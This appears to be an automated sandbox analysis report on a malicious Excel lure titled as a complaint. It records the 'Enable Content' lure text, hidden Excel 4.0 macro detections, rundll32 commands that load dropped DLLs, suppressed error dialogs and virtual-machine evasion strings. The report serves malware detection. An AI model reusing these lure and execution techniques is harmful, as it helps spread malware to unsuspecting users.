Source: Document image extraction number: 2	Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Content
Source: Document image extraction number: 2	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Document image extraction number: 8	Screenshot OCR: Enable Editing from the yellow bar above @Once You have Enable Editing, please click Enable Conten
Source: Document image extraction number: 8	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? m You are using IDS or And

Found Excel 4.0 Macro with suspicious formulas

Source: Complaint-1992179913-02182021.xls

Initial sample: EXEC

Document contains embedded VBA macros

Source: Complaint-1992179913-02182021.xls

OLE indicator, VBA macros: true

Yara signature match

Source: Complaint-1992179913-02182021.xls, type: SAMPLE

Matched rule: SUSP_EnableContent_String_Gen date = 2019-02-12, hash1 = 525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de, author = Florian Roth, description = Detects suspicious string that asks to enable active content in Office Doc, reference = Internal Research

Classification label

Source: classification engine

Classification label: mal84.expl.evad.winXLS@11/8@4/4

Creates files inside the user directory

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Creates temporary files

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{73D35F6B-8852-48AC-A0E2-76CBC5DD0E5B} - OProcSessId.dat

Jump to behavior

Document contains an OLE Workbook stream indicating a Microsoft Excel file

Source: Complaint-1992179913-02182021.xls

OLE indicator, Workbook stream: true

Reads ini files

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Runs a DLL by calling functions

Source: unknown

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr,DllRegisterServer

Spawns processes

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr1,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr2,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr3,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr4,DllRegisterServer
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr1,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr2,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr3,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr4,DllRegisterServer			Jump to behavior

Found GUI installer (many successful clicks)

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Checks if Microsoft Office is installed

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: rundll32.exe, 00000005.00000002.268034364.0000000003430000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.296266469.0000000002B10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.290090163.0000000002C10000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.284917168.00000000045B0000.00000002.00000001.sdmp, rundll32.exe, 0000000B.00000002.277650679.00000000048B0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: rundll32.exe, 00000005.00000002.268034364.0000000003430000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.296266469.0000000002B10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.290090163.0000000002C10000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.284917168.00000000045B0000.00000002.00000001.sdmp, rundll32.exe, 0000000B.00000002.277650679.00000000048B0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: rundll32.exe, 00000005.00000002.268034364.0000000003430000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.296266469.0000000002B10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.290090163.0000000002C10000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.284917168.00000000045B0000.00000002.00000001.sdmp, rundll32.exe, 0000000B.00000002.277650679.00000000048B0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: rundll32.exe, 00000005.00000002.268034364.0000000003430000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.296266469.0000000002B10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.290090163.0000000002C10000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.284917168.00000000045B0000.00000002.00000001.sdmp, rundll32.exe, 0000000B.00000002.277650679.00000000048B0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Source: Yara match

File source: Complaint-1992179913-02182021.xls, type: SAMPLE